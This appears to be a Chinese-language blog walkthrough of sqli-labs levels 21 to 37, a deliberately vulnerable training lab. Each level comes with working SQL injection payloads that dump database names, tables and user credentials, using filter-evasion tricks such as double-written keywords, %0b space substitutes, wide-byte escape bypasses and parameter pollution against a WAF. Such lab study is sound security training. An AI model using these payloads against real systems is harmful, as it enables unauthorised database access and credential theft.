Sqli_labs_Page2(advance)
skip:基础篇环境为windows,但在提高篇有些关卡会出现解析错误,本篇使用docker搭建的Linux环境
0x01.Less-21 Cookie注入 base64编码 单引号加括号
demo payload
1 | admin') order by 4 -- - |
爆库
1 | 0') union select 1,2,database() -- - |
其他方式不在赘述
0x02.Less-22 Cookie注入 base64编码 双引号
同Less-21,将闭合字符换为双引号即可
0x03.Less-23 基于报错 过滤注释
此题过滤了--和#,测试发现闭合字符为单引号
1 | ?id=1' or '1' = '1 |
既然过滤了注释符那么就可以使用二次注入结合%00进行截断
1 | ?id=1' order by 4;%00 |
爆库
1 | ?id=0' union select 1,database(),user();%00 |
其他方法不在赘述
也可使用以下方法
1 | ?id=0' union select 1,2,database() ' |
爆表,以下两个payload均可以
1 | ?id=0' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 ' |
爆列名
1 | ?id=0' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3 ' |
爆数据
1 | ?id=0' union select 1,(select username from users limit 0,1),3 ' |
0x04.Less-24 二次注入
页面可以注册用户
思路为注册一个admin’ – -或admin’# 用户,然后再进行修改密码操作
admin' -- -登入
修改密码
退出使用admin登入
0x05.Less-25 GET 基于报错 过滤and与or 单引号
过滤了and与or可以使用双写、大小写混合、内联注释、url全编码进行绕过;and与or可以使用逻辑运算符(|| &&)进行代替
测试发现只能使用双写
1 | ?id=1' oorrder by 4 -- - |
其他过程不在赘述
0x06.Less-25a GET 基于bool 过滤and与or
与Less-25相似,但没有单引号
1 | ?id=1 aandnd if(length(database())=8,sleep(5),1)-- - |
其他过程不在赘述
0x07.Less-26 GET 基于报错 过滤空格与字符
查看源码,发现过滤了以下字符
1 | function blacklist($id) |
测试闭合字符,由于过滤了空格,所以使用%a0或%0b代替空格,这里发现单引号为闭合字符
1 | ?id=0'%0boorr%0b'1'='1 |
测试字段数,结果为4个
1 | ?id=0'%0bunion%0bselect%0b1,2,3%0baandnd%0b'1'='1 |
爆库,and可以换为or
1 | ?id=0'%0baandnd%0bupdatexml%0b(1,concat(0x7e,(select%0bdatabase()),0x7e),3)%0baandnd '1'='1 |
爆表
1 | ?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%0blimit%0b3,1),0x7e),1)%0baandnd'1'='1 |
爆列名
1 | ?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0bcolumn_name%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=database()%0baandnd%0btable_name='users'%0blimit%0b1,1),0x7e),1)%0baandnd'1'='1 |
爆数据
1 | ?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0busername%0bfrom%0busers%0blimit%0b0,1),0x7e),1)%0baandnd%0b'1'='1 |
但是这种方法只能一个一个爆,可以使用group_concat()函数
爆库
1 | ?id=0'%0bunion%0bselect%0b1,2,database()%0baandnd%0b'1'='1 |
爆表
1 | ?id=0'union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26%a0'1'='1 |
爆列名
1 | ?id=0'union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%26%26%a0'1'='1 |
爆数据
1 | ?id=0'%0bunion%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b%271%27=%271 |
0x08.Less-26a GET 基于bool 过滤 单引号加括号
同Less-26相同,需要在单引号后加一个括号
1 | ?id=0%27)%0bunion%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere(%271=1 |
0x09.Less-27 GET 基于报错 过滤空格与字符 单引号
查看源码发现又过滤union、select
1 | function blacklist($id) |
这里可以使用大小写进行绕过,如uNion、sElect,方法同上
1 | ?id=0%27%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere%271=1 |
0x10.Less-27a GET 基于bool 过滤 双引号
同上需将单引号换为双引号
1 | ?id=1"%0band%0b"1"="1 |
测试字段数
1 | ?id=1"%0buNion%0bsElect%0b1,2,3%0band%0b"1"="1 |
放法同上一题不在赘述
1 | ?id=0"%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere"1"="1 |
0x11.Less-28 GET 基于报错 过滤 单引号加括号
闭合字符为')其他过程同上
1 | ?id=0')%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere('1=1 |
0x12.Less-28a GET 基于bool 过滤 双引号
闭合字符为"其他过程同上
1 | ?id=0"%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere"1=1 |
0x13.Less-29 GET 基于报错 绕过WAF
说是存在waf但是常规注入就可以?一脸懵逼。。。
1 | ?id=0' union select 1,group_concat(username,0x7e,password),3 from users where '1=1 |
0x14.Less-30 GET 基于bool 绕过WAF
跟上题一样
1 | ?id=0" union select 1,group_concat(username,0x7e,password),3 from users where"1=1 |
0x15.Less-31 GET 基于bool 绕过WAF
跟上题一样
1 | ?id=0") union select 1,group_concat(username,0x7e,password),3 from users where("1=1 |
这三道题很奇怪,说是有waf但是啥也没有。绕过waf参考以下文章
参考
第一个id参数用于欺骗waf,第二个为真实查询
1 | ?id=1&id=0") -- - |
0x16.Less-32 GET 绕过转义字符\
这里写引号会被加上\进行转义
可以使用宽字节进行绕过,汉字你的url编码为%e4%bd%a0,这里提取%e4与\进行拼接,但是他并不是一个汉字,就可以绕过\
老方法,直接查询
1 | ?id=0%e4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- - |
爆字段
1 | ?id=0%e4' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users -- - |
但是这里出现了个问题,说是没有users见了鬼了,上面明明查出来了呀
这里发现users被加上了单引号,如何逃脱这种束缚呢,将users转为16进制编码即可
1 | ?id=0%e4' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- - |
爆数据
1 | ?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- - |
0x17.Less-33 GET 绕过转义字符\
跟上一道题一毛一样,怪事
1 | ?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- - |
0x18.Less-34 POST 绕过转义字符\
同上一题,只是字段有2两个
1 | uname=1%e4' order by 3 -- - |
其他过程同上
1 | uname=0%e4' union select 1,group_concat(username,0x7e,password) from users -- - |
0x19.Less-35 GET 绕过\(不需要)
这题醉了,说是绕过\,但是没有闭合字符,😂
1 | ?id=0 union select 1,group_concat(username,0x7e,password),3 from users -- - |
0x20.Less-36 GET 绕过Mysql_real_escape_string
查看源码发现,参数会被mysql_real_escape_string转义
1 | function check_quotes($string) |
定义和用法
1 | mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 |
本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()。
测试闭合字符,结果为单引号
1 | ?id=1%e4' and 1=1 -- - |
其他过程同上
1 | ?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- - |
0x21.Less-37 POST 绕过Mysql_real_escape_string
与上一题一样
1 | $uname = mysql_real_escape_string($uname1); |
按照上一题的方法,但是结果并不是我想象的那样,闭合字符怎么也找不到,于是抓包发现%会被编码为%25
所以可以将%25换为%
其他过程同上
1 | uname=admin%e4%27 union select 1,group_concat(username,0x7e,password) from users -- - |